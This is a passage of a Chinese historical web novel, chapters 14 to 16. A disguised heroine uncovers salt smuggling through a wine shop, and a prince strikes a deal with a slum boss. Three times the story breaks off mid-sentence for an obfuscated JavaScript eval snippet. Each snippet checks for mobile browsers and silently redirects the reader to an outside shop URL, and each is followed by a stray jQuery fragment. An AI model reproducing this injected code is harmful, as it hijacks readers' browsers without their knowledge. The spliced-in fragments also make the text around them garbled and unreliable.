季辞秋松开他们，手掸了掸，似是极为嫌弃。她牵着阿黎离开，又回头道：“对了，我家阿黎就算一辈子不嫁人，也瞧不上你们这群粗鄙小人。” 妇人听了这话，气得发抖，正欲破口大骂，忽得发现眼前这人似是那日阿黎的表亲，在五殿下跟前做事。 她生生咽下这口气，给了男孩一榔头：“惹谁不好，惹他，下次看准了人！” 季辞秋拉着阿黎回了家，展开手中被揉得皱巴巴的纸，一幅官河浣洗图栩栩如生地呈现在眼前。 “好漂亮，阿黎竟有这等才华。”季辞秋由衷赞道。 阿黎擦了擦眼泪，有些羞涩道：“随手涂涂。” “你这若是随手涂涂，那我的必定是胡抹。”季辞秋开玩笑道，“可有学过？” “先前坊里有位先生开课收徒，我跟着偷听过几回。” 正说着，方婆同一中年男人进了屋。 “外甥！”方婆见了季辞秋很高兴。 “总算见到了，先前你舅姥和阿黎将你的事说与我了，”方建民笑着上前，“来都来了，留下吃个饭吧。” 趁着方婆与方建民备菜，季辞秋继续道：“那先生如今还开课吗？可想去学。” “琴棋书画都是富贵人家学的，我这样的普通人家，又是女子…”阿黎不好意思道。 “女子怎么了？你有这天赋，便是合适的。” 阿黎支支吾吾没说话，季辞秋心下了然。方家虽不至吃不饱饭，却也是将将糊口，学画对他们来说是有些奢侈了。 “你若是真心想去，表哥可以帮你出学费。”季辞秋拍拍阿黎。横竖游山玩水不成了，做点别的也好。 阿黎听此眼睛亮了亮，又连忙摆手：“表哥，我就随口说说，切莫当真呀。” “无事，我可不是白给你学的，”季辞秋笑道，“有朝一日你成了有名的大家，第一手画作可要给我。” 阿黎听她这样说，不知如何是好，涨红着脸好久没说话。 “表哥，他们都说女子无才便是德，规矩些嫁个好人家才是正道。”阿黎小声道。 季辞秋听此收了笑，正经道：“阿黎，你想走这条道吗？” 阿黎垂下头，许久晃了晃脑袋又沮丧道：“可大家都是这样的。” “那你喜欢画画吗？” “喜欢。”这次阿黎没有犹豫。 “那便去做，”季辞秋干脆道，“嫁个好人家固然可以过得不错，但你就能保证定能嫁个好人家吗？若是像胡公子那样的呢？” 阿黎想到胡泽谦，眼中闪过一丝恐惧。 “想要什么，自己也能争取。你有这样的才能，便要利用，不说成为大家，变为谋生的手艺，也是极好的。” 阿黎眨着眼睛，似懂非懂。 “你且安心去学，表哥在五殿下跟前做事，不差钱的。若有谁欺负你，同表哥说，表哥去揍他。”季辞秋晃了晃拳头。 正说着，一公鸡不知从哪个草堆横空飞出，踹翻了摞起来的杂物。一只大铁盆露了出来，里面爬满苔藓，像是废弃了许久。 季辞秋看着眼熟，想起先前在高家酒酿的后院见过这样式的盆。与此同时，方婆在屋内招呼道：“饭做好了，快来吃吧。” 14. 牢盆 季辞秋随阿黎入屋坐下，桌上四菜一汤，虽不是山珍海味，却别有烟火气。 “舅舅家条件不好，外甥将就着吃啊。”方建民有些局促地搓着手道。 “哪里，我瞧着丰盛得很，”季辞秋说着夹了块香干嚼了嚼，赞道，“舅舅舅姥的手艺真好。” 方婆听此，乐呵得向季辞秋碗中又夹了一堆香干。 “舅舅舅姥，我想送阿黎去学画。”季辞秋道，“我看了阿黎的画，觉得她很有天分，就自作主张了。” 二人愣了愣。 “她那就是随手画画，”方建明连忙道，看了眼阿黎，“你这孩子，想学同我说，和表哥说做什么。” “舅舅，是我自己想送阿黎去的。”季辞秋打断道，“我这平时一个人无牵无挂的，送阿黎去学，看她成才我心里也欢喜的。” “这......”方建明有些为难，“阿黎是个女子……” 季辞秋料到此，耐心地晓之以情动之以礼，又搬出胡泽谦的例子。方建明起初还不以为意，越听越觉得有理，但又实在不好意思答应，好半天没说话。 “那就这么定了。”季辞秋看他迟疑，不由分说道。 二人见她如此，也不好再说什么，唯有道谢。 “无事，”季辞秋摆摆手，转移了话题，“舅舅，我方才在前院见了一约莫一丈宽的铁盆，这是做什么的？” “一丈宽的铁盆？”方建明想了想，忽得拍手道，“你是说牢盆吧。” “外甥有所不知，”方建明捋了把胡子，颇有些怀念道，“我们方家过去世代都在海陵以制盐为生。” “大周的盐，有七成出自咱海陵。”方建明拍拍胸脯，很是自豪。 盐？季辞秋心中一紧，自古以来盐业于国都是重中之重，倘若扯上，只怕不是小事。她不动声色问道：“那为何后来不做了？” 方建明叹了口气：“这事说来话长。” “海陵制盐，多取卤水煎炼。你说的那牢盆便是专用作此，在其下列灶燃薪，滚沸后即得盐巴。” “我们家过去在海陵有百亩盐田，精耕细作，每月等着官府来收，日子过得也紧实。后来不知从何时起，这官府收盐的标准越来越高，我们亭户辛苦煎熬的精盐竟有半数不合格，全部收走只付一半的钱。” “入不敷出，渐渐地，许多亭户不愿制盐，都跑来广陵讨生活了。” “那现如今都是何人在制盐？”季辞秋问道。 “终归有人愿意留下的，”方建民没抬眼，夹了条水芹自顾自道，“留下的那些我没留意了，听说过得还不错。” 一番交谈后，季辞秋心事重重，吃完饭便匆匆告辞了。 她想起来了，书上关于天凤年间的寥寥记载中，有一场贪盐大案，让当朝右仆射陆定年一党倒台，九皇子叶朗也自此失势。至于后来叶朗如何继位，不知是史料丢失还是史官刻意为之，只一笔带过，成为历史上的一大疑案。不过无需细究，其中必是一场腥风血雨。 只是这场大戏的帷幕一角竟被她无意窥见，她有些犹豫要不要拉开了。权衡再三，她决定先转告叶玄，探探他的口风。 铁匠铺终日环绕着叮叮当当的敲击声，乍一听，似是乐曲。肃风同之前一样，坐于店一角执着把小锤打铁，见了季辞秋，只微微诧异。“白轩兄，有何事？” 季辞秋上前问道：“肃风兄对广陵的盐业可有了解？” 肃风闻此，面上微微一动。广陵的盐业颇为发达，又利润丰厚，自是块人人垂涎的肥肉。只是那盐铁使与叶玄不交好，态度冷淡，极难拉拢。 “知之甚少。怎么了？” 季辞秋凑近，低声道：“我怀疑民间有私盐泛滥。” “何出此言？” 季辞秋将高家酒酿的事同肃风描述了一番，“我自己拿不定主意，便来找你了。” 肃风将锻打完毕的铁料重新丢入火塘，站起身拍打身上冷却的铁屑：“此事先按下，待我禀告殿下后，再作下一步打算。” 季辞秋点头应下，看来这事叶玄并不知情。 另一边，叶望正在寻船具铺的路上，葵生上前小声道：“王爷，千牛卫的人还跟着。” 叶望扯着缰绳，面无表情道：“把他们围了。” “是。” 那帮护卫正远远跟着，一个不留神，叶望一行人没了踪影。他们紧张地加快脚步四处张望，走过一个转角，见叶望慢悠悠地骑马向他们走来。 别无他法，他们只好齐跪道：“参见殿下。” 叶望居高临下，薄唇轻启，微笑道：“本王好游山玩水，这些日子辛苦你们了。” 此话一出，三人都愣了愣，庞谨埋首道：“千牛卫奉命护殿下安危，乃分内之事。” 叶望赞同地点头：“本王见你们日夜跟随奔波，实不忍心，这几日便不必陪护左右了。” “这......”庞谨很是为难。 “无事，本王不会同肖中郎将说的。”叶望漫不经心道。 庞谨正欲再说些什么，却见叶望一个眼风扫来，到嘴边的话竟难以出口。 “有青戈葵生在，本王的安危还不必操心。” 摆脱了千牛卫的监视，他们很快找到了那家船具铺，在这般热闹的集市大门紧闭，显得很突兀。 葵生拉过路边卖炭的小贩，问道：“这店何时关的门？” “就这些时日。”那小贩似乎有所忌讳，支支吾吾不愿说。一大娘路过，听见他们的对话道：“你说这家啊，就前几天。” “哎呦，这亏心事做多了，还真怕鬼找上门。” “此话怎讲？”葵生追问。 “东水门闹鬼你不知道？”大娘稀奇道，“这几日，但凡同那漕船上的人有些瓜葛的，都搬走了。” 搬走了？这可难办了。好不容易查到的线索，就这样掐灭了。众人都有些丧气，叶望勒了勒缰绳，低声吩咐青戈道：“去查查郭统。”他倒要看看谁能一手遮天。 —— 长安，齐王府，叶玄着一身红袍，正逗着笼中新送来的小雀。自从叶望去了广陵，没了针锋相对的人，这日子是愈发无聊了。 “王爷，广陵来信。”成影进了屋，递上一卷成筒状的信纸，“白轩近日发现了些私盐的迹象，不知要不要查。” 叶玄听到私盐，正身展开信纸扫了扫，凤目微张，面上浮起笑：“查，为何不查？” 成影迟疑道：“私盐之事非同小可，背后的势力只怕不小，牵扯上恐难脱身。” “为何要牵扯上？”叶玄仍是笑，“这不有把趁手的刀吗？” “王爷的意思是......”成影顿了顿，豁然开朗，“让那晋王去查？” 叶玄没有回答：“小五在广陵这么些天定是无聊了，做些别的也挺好。” 成影会意，又道：“千牛卫派去的护卫一直暗中跟着晋王，想必是圣上派人监视着的。” 叶玄哂笑了一声，继续逗鸟：“圣上不是一直这般疑三惑四？也就对那叶宥掏心掏肺，可惜，是个短命鬼~” “收拾一下，要去晨省了。” 太极宫后殿，景帝晨省后被陆皇后搀扶着坐上龙靠，他看着女子忙碌沏茶的背影，面上柔和了些：“容娘，注意着身子，这些事不必亲力亲为。” 陆容音转过身，端着一盏茶轻轻放于紫檀桌案，垂眸在景帝身旁坐下：“不妨事的，陛下日理万机，这是臣妾应做的。” 安眉带眼，总是这般淡淡的，景帝伸手搂住了她，静静看着远处巍峨宫墙后的隐隐群山。 马上又是瑛儿的忌日了。 岁月如流，一晃二十载春秋已过，宥儿都已离开两年有余了。这些年，朕将亏欠你的悉数在他身上补偿，可你还是带他走了。 景帝寞然移回视线，怀中女子正浅浅呼吸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705554|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性子像极了沈瑛。景帝有些失神地抚上陆容音的脸，喃喃道：“这么些年，你还没原谅朕吗？” 女子没有回应，只静静看着，景帝睁大眼睛，还欲看清些什么，一道尖细的声音响起：“陛下，肖中郎将求见。” 景帝蓦地清醒，待陆容音退下后，他理了理衣袍：“进来吧。” 肖济伏地道：“千牛卫中郎将肖济，参见陛下。” “何事？” “陛下，五殿下近日放了跟去广陵的千牛卫的假，说是体恤他们。臣不知该不该让他们继续盯着，遂来请示陛下。” 景帝皱了皱眉：“晋王近日做了些什么？” 肖济如实道：“还同上月一样，多是赏酒寻芳、品茶垂钓之事，未有其他。” 景帝情绪恹恹，有些疲惫道：“既如此，让他们别跟太紧，大事上不出乱就好。” “是。”肖济应声退下。 “陛下，莲花峰的圆真道长来了。”太监躬身来报。 “快，请道长入殿。”景帝忙理了理衣冠，正身道。 —— 季辞秋等了些日子，终于等到肃风的指令，让她将此事告知晋王，再查证。话里话外的意思，是想借叶望之手查私盐，坐收渔翁之利。 季辞秋自然也是乐意，她正愁没机会接近叶望，博取信任。如今这私盐，便是一个绝好的机会。 这日，她将高家酒酿的事又同叶望说了一遍，叶望闭着眼，竟不为所动。 季辞秋有些意外，试探问道：“私盐之事事关重大，白轩把握不住，便来问问王爷的意思。” 叶望点头：“确是事关重大，不过这是广陵的官该管的，与本王何干？” “本王来此放情丘壑，何故淌此浑水？” 季辞秋哑口无言，叶望的态度多变，令人捉摸不透。 她沉呼一口气，定定道：“王爷果真是这样想的？白轩不信。” “白轩未入王府之时，便常闻王爷于北疆杀敌无数，守一方安宁。” “而今广陵的百姓生于水火，王爷为何袖手旁观？” 烛火摇曳，印着叶望的星眸如墨般流动。他把玩着手中的短匕，有些戏谑道：“你在质问本王？” “不敢，”季辞秋垂头，“只是觉着，倘若季恪将军在世，定不会袖手旁观。” 叶望的动作一顿，很快恢复道：“乱臣贼子，提他作甚？” “白轩不信。” “伏法受诛，何来不信？” “白轩自百姓口中听得，季恪将军爱民护民，是个好将军，”季辞秋沉声道，“所谓均田地、轻徭役、卫边防……” 叶望看着眼前侃侃而谈的少年，话到激动之时眼中不加掩饰的锋芒，不期然想起了十年前初见季恪时的自己。 那时的他也是这般恣意张扬，心中充满对建功立业的期许，意气风发。 长安城郊，芳草连天的土道上，年轻的将领将酒一饮而尽，爽朗笑道：“殿下，跟着臣可要吃不少苦头。” “本王不怕，”他立于长风中，衣袍飒飒而响，“大丈夫生于天地间，当提三尺剑，立不世之功。” 后来，他果真跟随季恪南征北战，东荡西杀，涉过隆冬刺骨的冰河，尝过九死一生的滋味。突厥闻风丧胆，陇西也从边关苦寒之地变为安居乐业的沃土。 某日，他坐在长平高耸的城墙上，眺望底下的芸芸众生，夕阳的余辉洒落大地，每个人的脸上洋溢着金色的微笑。 他忽然想，要不不回去了，就这样一辈子守在这里吧。 他已做好留下的打算，可上天却又开玩笑，一波三折，再次回到梦里的长安，早已物是人非。 叶望收回思绪，望着季辞秋半晌，引刀入鞘，缓缓道：“本王乏了，此事再议。” 没有拒绝。 “是。”季辞秋转身退下，嘴角微微上扬。 看来她赌对了。 15. 黑市 又是一连几日的毫无动静，季辞秋也没闲着，寻了张纸，列出当下已知的人物关系，开始谋划自己的出路。 按照历史记载，贪盐案后叶朗失势，彼时叶玄便成为了皇位最名正言顺的继位人，风头势必正旺。而这时，也是季辞秋脱离纷争的好时机。她要把握这个机会，在广陵尽力表现，好作为谈判的筹码。 “王爷，果真要查吗？”青戈知了私盐的事，犹豫道。 叶望慢条斯理地端起茶盏，吹散面上的浮沫。他当然知道私盐之事凶险，可正因凶险，更有可能牵出大人物。风险与收益并存，他将将回京，在朝中力穷势孤，若想行棋步路，不冒风险是不可能的。 “查。”他酌了一口，平静道，“你且继续去查郭统的事，本王自有安排。” 这日，季辞秋与葵生二人收到叶望的指示，去高家酒酿的巷口守着，看看有无异常。为了掩人耳目，二人支了个算命摊，混进巷口聚集的小摊中。 高家酒酿所在的巷子中多为住户，显少商铺，极易观察。葵生与季辞秋守了几日，除了进进出出买酒的人，并未发现异常。 “要不？”葵生抓了把瓜子，递到季辞秋面前，“你确定高家酒酿暗中做私盐生意？我看这酒的生意已是不错，为何铤而走险做这杀头的行当？” 季辞秋闷闷没作声，一连几日一无所获，她都要动摇了，莫非自己多想了？而葵生显然非常没心没肺，他闲着无聊，竟吆喝起了算命的生意。 “哎，你会算吗？在这吆喝。”季辞秋拉了拉他。 “略懂一二。”葵生神神秘秘道。 这时一富家公子被吸引了注意，来到摊前。“瞧着吧。”葵生挑了挑眉。 说着他像模像样地问了公子的生辰八字，捻着指头算了算，忽得睁眼道：“阁下近来一直被一件事叨扰。” 那公子吸了口气道：“你如何知道？” 季辞秋撇嘴，来算命的大多心中有事，这不是很明显。 “并且这件事很可能会影响阁下的财运，令阁下一筹莫展。” 公子听此，似是被说中了心思，叹了口气道：“我家是做铜镜生意的，近来有人看上我家的一批货，担保说是有大客户，但要无利出第一批。我不知此话真假，担心血本无归又害怕失了此机会。” “大师，我该怎么做？”他俨然将葵生当作了命中贵人。 “我知晓了，”葵生捋了捋不存在的胡须，娓娓道，“你命里带财，无需担心一时的得失，且随着本心，放开去做。” 那公子听此，有所了悟，千恩万谢地离开了。 季辞秋在一旁看完，挑了挑眉：“葵大师从哪里学的？” “天机不可泄露。” 季辞秋一哂，开玩笑道：“那你给我算算。” 报了生辰八字，葵生又捻着指头默算，忽得眉头一皱。 “什么？”季辞秋好奇道。 “嘶，这卦象里说，你命中带劫，情路……坎坷。” 命中带劫很有可能，情路坎坷？怕是没有情路。季辞秋用肘狠狠顶了下葵生：“狗嘴里吐不出象牙，也不知说点好的。” 二人正说着，一伙夫推着一架板车往巷口走来。车上堆了层层麻袋，瞧着像是运送酿酒的原料。 季辞秋压低声音对葵生道：“你先守在此，我去后头瞧瞧。” 攀上酒坊后的榕树，伙夫正拉车入了后院。胖胖的女掌柜满面笑容地迎上来，引人陆续卸货。乍一看，很是寻常。 季辞秋借着榕树跃上酒坊后的围墙，凑近了些。麻袋鼓鼓囊囊地攀附在背，经过路途颠簸，已经有些松垮，缝隙中零零散散地落下一些淡黄的黍粒，夹杂着细碎的银闪。 这银闪细看起来……貌似是盐？！ 好一招瞒天过海，季辞秋心中惊异。在蜀黍中混入不起眼的粗盐，便可作为酿酒原料光明正大地运至酒坊，谁也不会注意。 葵生在巷口守着，见季辞秋远远跟在伙夫身后，对他比了个手势：“收摊。”顾不得思考，他连忙几下收起摊前挂着的招幌，跟了上去。 “什么情况？”葵生摸不着头脑。 季辞秋将方才看到的同他说了一通，“这伙夫运的是私盐，跟着他说不定能找到大鱼。” 伙夫东拐西绕，入了城东南角的太平坊。 因着距官府甚远，太平坊一点也不太平。这里聚集了许多做灰色生意的底层人，逃犯、流民、被卖的女人在这里抱团取暖，久而久之成了一股势力，牵一发而动全身，极为难缠。是以官府睁一只眼闭一只眼，二者井水不犯河水，达成了微妙的平衡。 坊内污水横流，食物腐烂的酸臭味和腥味扑面而来。巷道挂满破烂的粗布，遮天蔽日。 二人刚入坊便因格格不入的衣着引起了注意，季辞秋心觉不妙，正欲拉着葵生离开，一群人围了上来。暗处走出一着黑色短袍的高大男子，捏着珠串缓缓道：“来者何人，擅闯我的地盘？” 葵生硬着头皮道：“我二人初来广陵，误闯至此，实在冒犯。” 男子闻言，招了招手，那伙夫走了出来，冷哼一声：“你们跟了我一路，何来误闯？” 季辞秋背冒冷汗，正待周旋，男子悠悠开了口：“知道了不该知道的，是要付出代价的。两条命如何？” “等等！我们此行并非针对你，是想和你谈个合作，”季辞秋道，“杀了我们倒是无足轻重，只是之后......你这太平坊就很难太平了。” 男子踱步走近，眯了眯眼道：“我陆敞活到今天，不是被吓大的。” 季辞秋亦凑近，小声道：“倘若是当朝右仆射呢？” 许是季辞秋的话太过出人意料，陆敞愣了一下，而后笑道：“我小小一个太平坊，怕是得不了如此青睐。” “把他扣下。”他变脸道。几人上前扣住了季辞秋的双臂，扭至身后。 “你，”陆敞指了指葵生，“让你的老大来见我，记住，不要带不相干的人，我这里不欢迎。” 季辞秋被押着，穿过弯弯绕绕的小巷，到了一排铁栅栏的平房前。 “嚯，又来人了。”看守的大爷瞧了一眼，没停下手中的活。 “这个可不一样，听敞爷说，这人有大来头，仔细着点。”季辞秋被推入一间房内。 待人走后，一约莫十四五岁的少年从墙角伸出头，探头探脑地打量起季辞秋。季辞秋弯了弯唇，冲他招招手。 那少年犹豫了几秒，终究没抵得住诱惑，小心地凑近。 “你叫什么名字？”季辞秋问。 “你是谁？”少年反问。 季辞秋笑了笑，故作高深道：“我叫白轩，是个护卫。” “护卫！”少年果然眼睛一亮，小声惊呼道。“我没有名字，大家都叫我二福，说我是在二月被敞叔捡到的，有福气。” “护卫是不是会武功？”二福有些期待地问道。 季辞秋点点头。 “碰到真的了，”二福喃喃道，他还想问些什么，又摇了摇头：“可惜你是我的敌人。” 季辞秋心觉好笑，煞有其事地问道：“为何？” “敞叔说了，关在这里的都是犯了事的，是破坏太平坊太平的坏人。” “你很听敞叔的话?” “这里每个人都听敞叔的话，是敞叔救了我们，我们都很感激他。”二福认真道。 过了一天，有两人过来，将季辞秋带到了坊内最高的那栋宅子内。屋内铺设了绸丽的波斯地毯，上座坐着陆敞以及......带着面具一袭红衣看起来格外嚣张的叶望。 见人来了，陆敞笑着给叶望斟了盏酒，试探道：“陆某不知何故，能入当朝右仆射大人的眼？” 叶望闻此明显顿了顿，看了季辞秋一眼，不急道：“陆兄切莫妄自菲薄，广陵的官，见了陆兄都得掂量掂量。这等人才，仆射大人注意到亦不难。” 陆敞见叶望不显山露水，便开门见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705555|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山道：“陆某在广陵一角讨个生活，对朝堂上的事是真的一窍不通，还请仁兄点拨一二。” 叶望也不绕弯子：“私盐是你这边的行当？” 陆敞没料到他问得这样直接，没有正面回答：“仁兄如何断定私盐与我太平坊有关？” 叶望笑了笑：“你不用紧张，我此番来不是兴师问罪的。你若不想说也罢，我报了官让他们来一查便知。” “仁兄在威胁我？”陆敞盯着叶望，“别忘了，你的手下还在我手里。” 季辞秋被踢了腿弯，猛地跪地。膝盖一痛，她恨铁不成钢地抬头道：“陆兄，我家大人的意思你还不明白吗，若是查私盐，何需费这般气力，让广陵的官来查便是。你这私盐横竖已经暴露，不如摆在明面，与我们谈谈。” 陆敞好一会儿没作声，太平坊虽有势力，但毕竟是民间组织，在官府眼皮子下苟且偷生，若动真格，怕是扛不起。 想了想，他道：“我也不和仁兄兜弯子了，私盐一事，并非太平坊起头。如今广陵盐价昂贵，普通百姓很难吃起。民间私盐早就泛滥，陆某也只是分了杯羹。” “私盐的行当于太平坊不过是锦上添花之事，若是不能做，便不做了。” 叶望转动手上的扳指，摇了摇头：“能做，为何不做？” “仁兄的意思......” "我也和你谈笔生意，一本万利，就看你敢不敢接。" “一本万利的生意向来都是圈套。”陆敞撩了撩衣袖。 叶望笑了笑：“若是圈套，陆兄早就身在圈中，何来谈判？” 陆敞面色沉了沉。“说来听听。” “私盐的生意陆兄可以继续做，而且要做大。” 陆敞黑脸道：“仁兄怕是要拿我太平坊当靶子吧。” “可以这样理解，”叶望点头，话锋一转道，“若是谈成了，我送陆兄十个户籍作为见面礼，之后每月另提供五个户籍，如何？” 陆敞原本已经怒从心生，听到户籍后默了默。太平坊中的住户几乎都是黑户，因为各种各样的原因被排除在制度之外，他们的孩子亦如此，一辈子都难能过上正常人的生活。 风险很大，但是在这里的许多人都想名正言顺地得一个户籍，不用挤在暗无天日的一角。 他左右权衡，盯着对面人沉静无波的眸子，终道：“成交。” 季辞秋默默跟着叶望出了坊，坊口停着辆马车，葵生正在此候着。“我来吧。”她习惯性地牵过缰绳。 “葵生，驾车。”叶望冷不丁道。 她看了看葵生，又看了看已坐入车舆的叶望，踌躇再三，硬着头皮掀帘入内。 马车空间狭小，来回颠簸着。叶望闭目养神，浓眉浅皱，侧脸俊秀。 空气安静地有些奇怪，季辞秋僵硬坐着，不自在地盯着地板。 “为何是右仆射？”叶望淡淡开了口。 “……随口说的，”季辞秋摸了摸鼻子，“我想着不能暴露王爷，便寻了个大官报上。” “嗯，”叶望敷衍应道，显然对这个回答不太相信，“陆敞，你怎么看？” 他好像很喜欢问她怎么看。 “有手段且受人爱戴，应是个靠谱之人。” 叶望不置可否，没头没脑来了一句：“你看起来像知道许多。” 季辞秋额冒冷汗：“此事我先前已默默调查许久，而今将许多碎片串起，才似知道许多。” 叶望睁开眼，眉眼浓烈，定定瞧着季辞秋，似是要将她看穿。她呼吸滞了滞，眼见他缓缓凑近，乌沉香气侵袭过来。漂亮的双眸状似桃花，本是多情模样，却被眉骨延至眼尾的一道疤痕扰乱，多了些凛冽气息。 一道冷冷的声音响起：“本王最恶两面三刀之人，你是个聪明人，应该明白什么应做，什么不应做。” 季辞秋回过神来，虚咽了口口水：“是。” 叶望勾唇笑了笑，收回身子，好像什么没发生过。 16. 上钩 自从陆敞答应了与叶望的合作，季辞秋与葵生便被派来太平坊，明面上协助工作，暗地里监视太平坊的一举一动。 “师父，你们来了！”一大早二福兴冲冲地跑来，这些天他软磨硬泡，终于让两位师父松了口，答应传授他一些武功秘籍。 他忽得想起什么，小心翼翼地看了眼陆宅，低声道：“不过我要小心些，别让敞叔发现了，不然敞叔定不让我学。” “敞叔为何不让你学？”季辞秋有些意外。 “敞叔说，有武功不见得是好事，要我学门手艺，”二福闷声道，“可我是真想学武功！” “先不管这些，二位师父，今日教什么？”二福摆摆手，期待道。 “前几日教你的基本功练得不错，”葵生点点头，“今日就教你习武之人必会的一招——轻功。” 二福闻言激动地欢呼起来：“轻功？是不是那种学会了就能像话本里一样在屋顶上飞的功夫！” 没待葵生回答，二福又道：“听说最近隔壁的王叔一家领了户籍，已经搬去坊外住了。” “等我领到了户籍，又学会了轻功，我也去当一个护卫，行走江湖，行侠仗义，看遍大好河山！”二福的眼睛亮晶晶的。 “哎呦，这是哪里？你们凭什么抓我？”一阵嘈杂从监房那边传来。 只见一位身着褴褛青衫，满脸土灰的男子正攀着铁栏朝外大吼大叫。 “嘿，你这人，”二福凑近道，“昨夜你醉酒欲翻迎春院后墙，被发现后抵死不认，抓你自然是你犯了事。” 男子见有人搭理，立马换了一副面孔：“小兄弟，昨日之事实属误会，我醉酒不知，闯的祸也不大。不如……通融通融？” 二福冷哼一声：“想套近乎？没门。我二福向来铁面无私。” 男子见此，捋了把头发，叉着腰道：“你们知道我是谁吗？” 栏外的三人上下打量了他几眼，面面相觑。 男子很没面子，轻咳了一声掩饰尴尬：“清歌赋总算听过吧？” 二福手支着下巴，想了一会儿：“好像听迎春院的姐姐唱过。” 男子闻言，有些骄傲道：“清歌赋就是本公子写的。我姓柳名仪，世人都叫我柳十三，我可是名副其实的大红人，很忙的。” 季辞秋愣了愣，莫不是那个一生行歌纵酒浪迹四方的大诗人柳仪？书上说他常在江南一带活跃，还真对上了。 “哦，大红人，半夜爬女子的墙？”二福不屑一顾。 “都说了是误会，误会。我本是要赴临波先生的约的，临波先生，知道吗？广陵鼎鼎有名的画家。没成想误打误撞走到了太平坊，还差点闯了女子的闺房，但我发誓我真不是有意的。大侠，今日是我与临波先生的约定之日，那先生孤傲得很，一般人都见不上面，我若毁约，必是不好的，还请小兄弟高抬贵手啊。” “什么林波李波，在太平坊，就要守太平坊的规矩。” “二福，这个人你们打算如何处置？”季辞秋上前问道。 二福将季辞秋拉过来：“最近坊内事多，一时半会顾不上他，只能先将他扣在这。” 季辞秋走近铁栏：“柳仪，字沙白，号云乐居士？我知道你。” 柳仪听此，理了理乱成鸡窝的头发，挺起胸脯。 “我读过你的诗，很喜欢你写的一句，‘细看来，似花非花，点点离人泪’。” “正是本人……”柳仪得意地扬了扬眉，忽得顿住，“等等，这个我写过吗？” 那看来是还没写到。 “不重要，”季辞秋咳了咳，“你不是想让他们放了你吗？我有个法子。” “什么？” “跟着我就好。” 陆敞府邸。 “报，敞爷，有个自称是大周才子的人求见。” 陆敞皱了皱眉，只见季辞秋押着一白瘦男子走来。 “陆兄，此人是大周当今颇有名气的诗人。”季辞秋道，“昨日他醉酒，欲翻迎春院后墙被抓。” 陆敞明白了她的意思，背过身去：“既已犯法，无论高低贵贱。” “陆兄，此事柳公子确是有错在先，但他知错能改，想将功抵过，不知陆兄给不给这个机会？” “此话怎讲？” 季辞秋凑近耳语道：“柳公子赫赫有名，若是为迎春院的某位姑娘题首词，这往后迎春院的生意……定是蒸蒸日上。” 陆敞摸了摸胡须，思索了一阵，而后笑道：“白轩兄当真颖悟绝人。” 他转身看了柳仪一眼：“柳公子，你若想走可以，但我有个条件。” “陆某要柳公子为迎春院题词一首，若是题得好，陆某既往不咎，交个朋友。” 柳仪爽快应下，大手一挥，洋洋洒洒的一首词在笔下生花。 “恩人，多谢你了，”柳仪在太平坊口握着季辞秋的手道，“不过你方才咏的那句诗，我记不起在哪见过，又觉得格外耳熟，好生奇怪。” 季辞秋打哈哈道：“我也记不起在哪里见过，许是梦里胡乱编的。不提这些，今后当心着点，切莫再惹出乱子。” 柳仪点点头：“恩人，我还不知你的名字。” “我是个粗人，单名一个白轩。” “白兄，柳某今日急着赴约，无以为报。改日定请白兄畅饮一番，以报相救之恩。白兄若是有事寻我，只需去坊间打听，便知我的行迹。”柳仪挥了挥手，“就此别过，保重。” “保重。”季辞秋看着柳仪匆匆的背影，心中有种奇妙的感觉，自己居然遇见了柳大诗人，还成了他的恩人，好荒诞。 —— 日子一天天过着，陆敞的私盐生意越做越大，迎春院的生意也越来越好。因着柳仪的那首词，许多文人墨客不惧太平坊的凶险，纷纷来一睹佳人风采。久而久之，太平坊的名声也不似以往那么不堪，竟披上了几分神秘的色彩。 这日，一个消息打破了平静。 “报——官府的人方才围了高家酒酿，说是买卖私盐，把人都抓走了。” 陆敞起身：“可有往太平坊来。” “那倒没有，抓了高家酒酿之后就收兵了。” 陆敞冷笑一声：“杀鸡儆猴，做给我看呢。” “陆爷，形势不对，咱们要不不做了吧？见好就收。” 陆敞沉吟片刻道：“不可，我既已答应了合作，受了别人的好，便不可食言。私盐生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705556|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照常继续，出了事我一人担。” 没过几日，一位大腹便便的不速之客闯入了太平坊。他带着几人将拦路的守卫拨开，大摇大摆地走进陆敞的府邸，在正堂晃悠了一圈，寻了个位置坐下。 “让你们老大来见我。” 陆敞自门外走来，见一人轻慢地坐在正堂，脸黑了黑。 “敢问阁下何人，找陆某有何贵干？” 那胖子捏着嗓子道：“我是何人不重要，我来是支会你一声，私盐生意不要做了。” 陆敞在一旁坐下，紧了紧箭袖：“阁下好大的口气，若是我不从呢？”话音刚落，四下窜出十人，执剑围了上来。 一时间剑拔弩张，气氛紧张起来。 